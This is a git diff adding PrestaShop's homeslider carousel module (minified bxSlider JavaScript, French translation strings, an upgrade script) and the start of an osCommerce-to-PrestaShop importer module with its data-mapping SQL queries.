.bx-auto',$outerWrapper).remove();$parent.unwrap().unwrap().removeAttr('style');$parent.children().removeAttr('style').not('.pager').remove();$children.removeClass('pager');} +this.reloadShow=function(){base.destroyShow();base.initShow();} +function initCss(){setChildrenLayout(options.startingSlide);if(options.mode=='horizontal'){$parent.wrap('
        ').wrap('
        ').css({width:'999999px',position:'relative',left:'-'+(origLeft)+'px'});$parent.children().css({width:childrenWidth,'float':'left',listStyle:'none'});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='vertical'){$parent.wrap('
        ').wrap('
        ').css({height:'999999px',position:'relative',top:'-'+(origTop)+'px'});$parent.children().css({listStyle:'none',height:childrenMaxHeight});$outerWrapper=$parent.parent().parent();$children.addClass('pager');}else if(options.mode=='fade'){$parent.wrap('
        ').wrap('
        ');$parent.children().css({listStyle:'none',position:'absolute',top:0,left:0,zIndex:98});$outerWrapper=$parent.parent().parent();$children.not(':eq('+currentSlide+')').fadeTo(0,0);$children.eq(currentSlide).css('zIndex',99);} +if(options.captions&&options.captionsSelector==null){$outerWrapper.append('
        ');}} +function setChildrenLayout(){if(options.mode=='horizontal'||options.mode=='vertical'){var $prependedChildren=getArraySample($children,0,options.moveSlideQty,'backward');$.each($prependedChildren,function(index){$parent.prepend($(this));});var totalNumberAfterWindow=($children.length+options.moveSlideQty)-1;var pagerExcess=$children.length-options.displaySlideQty;var numberToAppend=totalNumberAfterWindow-pagerExcess;var $appendedChildren=getArraySample($children,0,numberToAppend,'forward');if(options.infiniteLoop){$.each($appendedChildren,function(index){$parent.append($(this));});}}} +function setControlsVars(){if(options.nextImage!=''){nextContent=options.nextImage;nextType='image';}else{nextContent=options.nextText;nextType='text';} +if(options.prevImage!=''){prevContent=options.prevImage;prevType='image';}else{prevContent=options.prevText;prevType='text';} +showControls(nextType,nextContent,prevType,prevContent);} +function setAutoInterval(){if(options.auto){if(!options.infiniteLoop){if(options.autoDirection=='next'){interval=setInterval(function(){currentSlide+=options.moveSlideQty;if(currentSlide>lastSlide){currentSlide=currentSlide%$children.length;} +base.goToSlide(currentSlide,false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){currentSlide-=options.moveSlideQty;if(currentSlide<0){negativeOffset=(currentSlide%$children.length);if(negativeOffset==0){currentSlide=0;}else{currentSlide=($children.length)+negativeOffset;}} +base.goToSlide(currentSlide,false);},options.pause);}}else{if(options.autoDirection=='next'){interval=setInterval(function(){base.goToNextSlide(false);},options.pause);}else if(options.autoDirection=='prev'){interval=setInterval(function(){base.goToPreviousSlide(false);},options.pause);}}}else if(options.ticker){options.tickerSpeed*=10;$('.pager',$outerWrapper).each(function(index){origShowWidth+=$(this).width();origShowHeight+=$(this).height();});if(options.tickerDirection=='prev'&&options.mode=='horizontal'){$parent.css('left','-'+(origShowWidth+origLeft)+'px');}else if(options.tickerDirection=='prev'&&options.mode=='vertical'){$parent.css('top','-'+(origShowHeight+origTop)+'px');} +if(options.mode=='horizontal'){tickerLeft=parseInt($parent.css('left'));moveTheShow(tickerLeft,origShowWidth,options.tickerSpeed);}else if(options.mode=='vertical'){tickerTop=parseInt($parent.css('top'));moveTheShow(tickerTop,origShowHeight,options.tickerSpeed);} +if(options.tickerHover){setTickerHover();}}} +function moveTheShow(leftCss,distance,speed){if(options.mode=='horizontal'){if(options.tickerDirection=='next'){$parent.animate({'left':'-='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'left':'+='+distance+'px'},speed,'linear',function(){$parent.css('left',leftCss);moveTheShow(leftCss,origShowWidth,options.tickerSpeed);});}}else if(options.mode=='vertical'){if(options.tickerDirection=='next'){$parent.animate({'top':'-='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}else if(options.tickerDirection=='prev'){$parent.animate({'top':'+='+distance+'px'},speed,'linear',function(){$parent.css('top',leftCss);moveTheShow(leftCss,origShowHeight,options.tickerSpeed);});}}} +function setAutoControlsVars(){if(options.startImage!=''){startContent=options.startImage;startType='image';}else{startContent=options.startText;startType='text';} +if(options.stopImage!=''){stopContent=options.stopImage;stopType='image';}else{stopContent=options.stopText;stopType='text';} +showAutoControls(startType,startContent,stopType,stopContent);} +function setAutoHover(){$outerWrapper.find('.bx-window').hover(function(){if(autoPlaying){base.stopShow(false);}},function(){if(autoPlaying){base.startShow(false);}});} +function setTickerHover(){$parent.hover(function(){if(autoPlaying){base.stopTicker(false);}},function(){if(autoPlaying){base.startTicker(false);}});} +function setChildrenFade(){$children.not(':eq('+currentSlide+')').fadeTo(options.speed,0).css('zIndex',98);$children.eq(currentSlide).css('zIndex',99).fadeTo(options.speed,1,function(){isWorking=false;if(jQuery.browser.msie){$children.eq(currentSlide).get(0).style.removeAttribute('filter');} +options.onAfterSlide(currentSlide,$children.length,$children.eq(currentSlide));});};function makeSlideActive(number){if(options.pagerType=='full'&&options.pager){$('a',$pager).removeClass(options.pagerActiveClass);$('a',$pager).eq(number).addClass(options.pagerActiveClass);}else if(options.pagerType=='short'&&options.pager){$('.bx-pager-current',$pager).html(currentSlide+1);}} +function showControls(nextType,nextContent,prevType,prevContent){var $nextHtml=$('');var $prevHtml=$('');if(nextType=='text'){$nextHtml.html(nextContent);}else{$nextHtml.html('');} +if(prevType=='text'){$prevHtml.html(prevContent);}else{$prevHtml.html('');} +if(options.prevSelector){$(options.prevSelector).append($prevHtml);}else{$outerWrapper.append($prevHtml);} +if(options.nextSelector){$(options.nextSelector).append($nextHtml);}else{$outerWrapper.append($nextHtml);} +$nextHtml.click(function(){base.goToNextSlide();return false;});$prevHtml.click(function(){base.goToPreviousSlide();return false;});} +function showPager(type){var pagerQty=$children.length;if(options.moveSlideQty>1){if($children.length%options.moveSlideQty!=0){pagerQty=Math.ceil($children.length/options.moveSlideQty);}else{pagerQty=$children.length/options.moveSlideQty;}} +var pagerString='';if(options.buildPager){for(var i=0;i'+i+'';}}else if(type=='short'){pagerString=''+(options.startingSlide+1)+' '+options.pagerShortSeparator+' '+$children.length+'';} +if(options.pagerSelector){$(options.pagerSelector).append(pagerString);$pager=$(options.pagerSelector);}else{var $pagerContainer=$('
        ');$pagerContainer.append(pagerString);if(options.pagerLocation=='top'){$outerWrapper.prepend($pagerContainer);}else if(options.pagerLocation=='bottom'){$outerWrapper.append($pagerContainer);} +$pager=$('.bx-pager',$outerWrapper);} +$pager.children().click(function(){if(options.pagerType=='full'){var slideIndex=$pager.children().index(this);if(options.moveSlideQty>1){slideIndex*=options.moveSlideQty;} +base.goToSlide(slideIndex);} +return false;});} +function showCaptions(){var caption=$('img',$children.eq(currentSlide)).attr('title');if(caption!=''){if(options.captionsSelector){$(options.captionsSelector).html(caption);}else{$('.bx-captions',$outerWrapper).html(caption);}}else{if(options.captionsSelector){$(options.captionsSelector).html(' ');}else{$('.bx-captions',$outerWrapper).html(' ');}}} +function showAutoControls(startType,startContent,stopType,stopContent){$autoControls=$('');if(startType=='text'){$startContent=startContent;}else{$startContent='';} +if(stopType=='text'){$stopContent=stopContent;}else{$stopContent='';} +if(options.autoControlsSelector){$(options.autoControlsSelector).append($autoControls);}else{$outerWrapper.append('
        ');$('.bx-auto',$outerWrapper).html($autoControls);} +$autoControls.click(function(){if(options.ticker){if($(this).hasClass('stop')){base.stopTicker();}else if($(this).hasClass('start')){base.startTicker();}}else{if($(this).hasClass('stop')){base.stopShow(true);}else if($(this).hasClass('start')){base.startShow(true);}} +return false;});} +function checkEndControls(){if(!options.infiniteLoop&&options.hideControlOnEnd){if(currentSlide==firstSlide){$('.bx-prev',$outerWrapper).hide();}else{$('.bx-prev',$outerWrapper).show();} +if(currentSlide==lastSlide){$('.bx-next',$outerWrapper).hide();}else{$('.bx-next',$outerWrapper).show();}}} +function getSlidePosition(number,side){if(side=='left'){var position=$('.pager',$outerWrapper).eq(number).position().left;}else if(side=='top'){var position=$('.pager',$outerWrapper).eq(number).position().top;} +return position;} +function getWrapperWidth(){var wrapperWidth=$firstChild.outerWidth()*options.displaySlideQty;return wrapperWidth;} +function getWrapperHeight(){var wrapperHeight=$firstChild.outerHeight()*options.displaySlideQty;return wrapperHeight;} +function getArraySample(array,start,length,direction){var sample=[];var loopLength=length;var startPopulatingArray=false;if(direction=='backward'){array=$.makeArray(array);array.reverse();} +while(loopLength>0){$.each(array,function(index,val){if(loopLength>0){if(!startPopulatingArray){if(index==start){startPopulatingArray=true;sample.push($(this).clone());loopLength--;}}else{sample.push($(this).clone());loopLength--;}}else{return false;}});} +return sample;} +this.each(function(){base.initShow();});return this;} +jQuery.fx.prototype.cur=function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null)){return this.elem[this.prop];} +var r=parseFloat(jQuery.css(this.elem,this.prop));/* START PATCH Patch applied on top of library version 3.0 (see https://github.com/wandoledzep/bxslider/issues/89) Empty strings, null, undefined and "auto" are converted to 0, complex values such as "rotate(1rad)" are returned as is, simple values such as "10px" are parsed to Float.*/return isNaN(parsed = parseFloat(r)) ? !r || r === "auto" ? 0 : r : parsed;/* END PATCH - BEFORE PATCH WAS return r; */}})(jQuery); \ No newline at end of file diff --git a/modules/homeslider/logo.gif b/modules/homeslider/logo.gif new file mode 100755 index 0000000..e0f9ab6 Binary files /dev/null and b/modules/homeslider/logo.gif differ diff --git a/modules/homeslider/logo.png b/modules/homeslider/logo.png new file mode 100755 index 0000000..909bc17 Binary files /dev/null and b/modules/homeslider/logo.png differ diff --git a/modules/homeslider/translations/en.php b/modules/homeslider/translations/en.php new file mode 100755 index 0000000..0ae77c9 --- /dev/null +++ b/modules/homeslider/translations/en.php @@ -0,0 +1,4 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/modules/homeslider/translations/fr2.php b/modules/homeslider/translations/fr2.php new file mode 100755 index 0000000..f532fe8 --- /dev/null +++ b/modules/homeslider/translations/fr2.php @@ -0,0 +1,58 @@ +homeslider_9582801267616d564272ae7a4f622c93'] = 'Carrousel d\'image (slider) pour votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_c17aed434289cedd02618451e12c8da6'] = 'Ajouter un carrousel d\'images à votre page d\'accueil'; +$_MODULE['<{homeslider}prestashop>homeslider_17167898123700e4b4f9bc17c1e0608d'] = 'Configuration du carrousel'; +$_MODULE['<{homeslider}prestashop>homeslider_e933dc24fb245d863a43b4fefe9b45f5'] = 'Hauteur :'; +$_MODULE['<{homeslider}prestashop>homeslider_48ccf48dcf2218a413ce473262f21a0c'] = 'Largeur :'; +$_MODULE['<{homeslider}prestashop>homeslider_2c526c645bca9542ba1598835d46b753'] = 'Vitesse :'; +$_MODULE['<{homeslider}prestashop>homeslider_154e6bcf4e3b49a424323cb9021ef851'] = 'Pause :'; +$_MODULE['<{homeslider}prestashop>homeslider_9ce04a5715756f9c0fece348db9b7da1'] = 'Boucle :'; +$_MODULE['<{homeslider}prestashop>homeslider_93cba07454f06a4a960172bbd6e2a435'] = 'Oui'; +$_MODULE['<{homeslider}prestashop>homeslider_bafd7322c6e97d25b6299b5d6fe8920b'] = 'Non'; +$_MODULE['<{homeslider}prestashop>homeslider_c9cc8cce247e49bae79f15173ce97354'] = 'Enregistrer'; +$_MODULE['<{homeslider}prestashop>homeslider_571988492824e57070d78e6c86333f20'] = 'Configuration des diapositives'; +$_MODULE['<{homeslider}prestashop>homeslider_02023fc24279454047fd419ecd1db9af'] = 'Ajouter une diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/modules/homeslider/translations/index.php b/modules/homeslider/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/homeslider/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/homeslider/upgrade/install-1.2.1.php b/modules/homeslider/upgrade/install-1.2.1.php new file mode 100755 index 0000000..a79456d --- /dev/null +++ b/modules/homeslider/upgrade/install-1.2.1.php @@ -0,0 +1,24 @@ +execute(' + UPDATE '._DB_PREFIX_.'homeslider_slides_lang SET + '.homeslider_stripslashes_field('title').', + '.homeslider_stripslashes_field('description').', + '.homeslider_stripslashes_field('legend').', + '.homeslider_stripslashes_field('url') + ); +} + +function homeslider_stripslashes_field($field) +{ + $quotes = array('\'\\\\\'\'', '\'\\\'\''); + $dquotes = array('\'\\"\'', '\'"\''); + $backslashes = array('\'\\\\\'', '\'\\\''); + + return '`'.bqSQL($field).'` = replace(replace(replace(`'.bqSQL($field).'`, '.$quotes[0].', '.$quotes[1].'), '.$dquotes[0].', '.$dquotes[1].'), '.$backslashes[0].', '.$backslashes[1].')'; +} \ No newline at end of file diff --git a/modules/importerosc/ajax.php b/modules/importerosc/ajax.php new file mode 100755 index 0000000..3e6c316 --- /dev/null +++ b/modules/importerosc/ajax.php @@ -0,0 +1,17 @@ +server = Tools::getValue('server'); +$importOsc->user = Tools::getValue('user'); +$importOsc->passwd = Tools::getValue('password'); +$importOsc->database = Tools::getValue('database'); +$importOsc->prefix = Tools::getValue('prefix'); + +die($importOsc->createLevelAndCalculate()); \ No newline at end of file diff --git a/modules/importerosc/importerosc.php b/modules/importerosc/importerosc.php new file mode 100755 index 0000000..fba9a53 --- /dev/null +++ b/modules/importerosc/importerosc.php @@ -0,0 +1,631 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class importerosc extends ImportModule +{ + public function __construct() + { + $this->name = 'importerosc'; + $this->tab = 'migration_tools'; + $this->version = '1.0'; + $this->author = 'PrestaShop'; + $this->theImporter = 1; + $this->need_instance = 1; + + parent::__construct (); + + $this->displayName = $this->l('Importer osCommerce'); + $this->description = $this->l('This module allows you to import from osCommerce to Prestashop.'); + } + + public function install() + { + if (!parent::install() || !$this->registerHook('beforeAuthentication')) + return false; + return true; + } + + public function uninstall() + { + if (!parent::uninstall()) + return false; + return true; + } + + public function displaySpecificOptions() + { + $html = ''; + if (!$this->checkCategoriesLevel()) + $html .= $this->displayCategoriesLevelConf(); + + $langagues = $this->executeS('SELECT * FROM `'.bqSQL($this->prefix).'languages`'); + $curencies = $this->executeS('SELECT * FROM `'.bqSQL($this->prefix).'currencies`'); + + $html .= ' +
        +
        + +
        +
        '; + $html .= ' +
        + http:/// +

        '.$this->l('Specify the root URL of your site oscommerce').'

        +
        '; + return $html; + } + + + public function validateSpecificOptions() + { + $errors = array(); + if (Tools::getValue('defaultOscLang') == 0) + $errors[] = $this->l('Please select a default language'); + if (Tools::getValue('defaultOscCurrency') == 0) + $errors[] = $this->l('Please select a default currency'); + if (Tools::getValue('shop_url') == '') + $errors[] = $this->l('Please set your shop url'); + if (!sizeof($errors)) + die('{"hasError" : false, "error" : []}'); + else + die('{"hasError" : true, "error" : '.Tools::jsonEncode($errors).'}'); + } + + + public function getDefaultIdLang () + { + return Tools::getValue('defaultOscLang'); + } + + public function getDefaultIdCurrency () + { + return Tools::getValue('defaultOscCurrency'); + } + + + public function getLangagues($limit = 0, $nrb_import = 100) + { + $identifier = 'id_lang'; + + $langagues = $this->executeS(' + SELECT languages_id as id_lang, name as name, code as iso_code, 1 as active, (\'m/j/Y\') as date_format_lite, (\'m/j/Y H:i:s\') as date_format_full + FROM `'.bqSQL($this->prefix).'languages` + LIMIT '.(int)$limit.' , '.(int)$nrb_import); + return $this->autoFormat($langagues, $identifier); + } + + public function getCurrencies($limit = 0, $nrb_import = 100) + { + $identifier = 'id_currency'; + $currencies = $this->executeS(' + SELECT currencies_id as id_currency, title as name, code as iso_code, 0 as format, 999 as iso_code_num, 1 as decimals, + CONCAT(`symbol_left`, `symbol_right`) as sign, value as conversion_rate + FROM `'.bqSQL($this->prefix).'currencies` LIMIT '.(int)($limit).' , '.(int)$nrb_import + ); + return $this->autoFormat($currencies, $identifier); + } + + public function getZones($limit = 0, $nrb_import = 100) + { + $identifier = 'id_zone'; + $zones = $this->executeS('SELECT geo_zone_id as id_zone, geo_zone_name as name, 1 as active FROM `'.bqSQL($this->prefix).'geo_zones` LIMIT '.(int)($limit).' , '.(int)$nrb_import); + return $this->autoFormat($zones, $identifier); + } + + public function getCountries($limit = 0, $nrb_import = 100) + { + $multiLangFields = array('name'); + $keyLanguage = 'id_lang'; + $identifier = 'id_country'; + $defaultIdLang = $this->getDefaultIdLang(); + $countries = $this->executeS(' + SELECT countries_id as id_country, countries_name as name, countries_iso_code_2 as iso_code, '.(int)$defaultIdLang.' as id_lang, + 1 as id_zone, 0 as id_currency, 1 as contains_states, 1 as need_identification_number, 1 as active, 1 as display_tax_label + FROM `'.bqSQL($this->prefix).'countries` as c LIMIT '.(int)($limit).' , '.(int)$nrb_import); + + return $this->autoFormat($countries, $identifier, $keyLanguage, $multiLangFields); + } + + public function getStates($limit = 0, $nrb_import = 100) + { + $identifier = 'id_state'; + $states = array( + 0 => array( + 'id_state' => 0, + 'id_country' => 0, + 'id_zone' => 0, + 'iso_code' => 999, + 'name' => 'osc', + 'active' => 0 + ) + ); + return $this->autoFormat($states, $identifier); + } + + public function getGroups() + { + $idLang = $this->getDefaultIdLang(); + return array( 1 => array( + 'id_group' => 1, + 'price_display_method' => 0, + 'name' => array($idLang => $this->l('Default osCommerce Group')) + ) + ); + } + + public function getCustomers($limit = 0, $nrb_import = 100) + { + $genderMatch = array('m' => 1,'f' => 2); + $identifier = 'id_customer'; + $customers = $this->executeS(' + SELECT c.`customers_id` as id_customer, 1 as id_default_group, c.`customers_gender` as id_gender, c.`customers_firstname` as firstname, + IFNULL( STRCMP(c.`customers_newsletter`, \'\') , 0 ) as newsletter, c.`customers_lastname` as lastname, + DATE(c.`customers_dob`) as birthday, c.`customers_email_address` as email, c.`customers_password` as passwd, 1 as active, + ci.`customers_info_date_account_created` as date_add + FROM `'.bqSQL($this->prefix).'customers` c + LEFT JOIN `'.bqSQL($this->prefix).'customers_info` ci ON (c.`customers_id` = ci.`customers_info_id`) + LIMIT 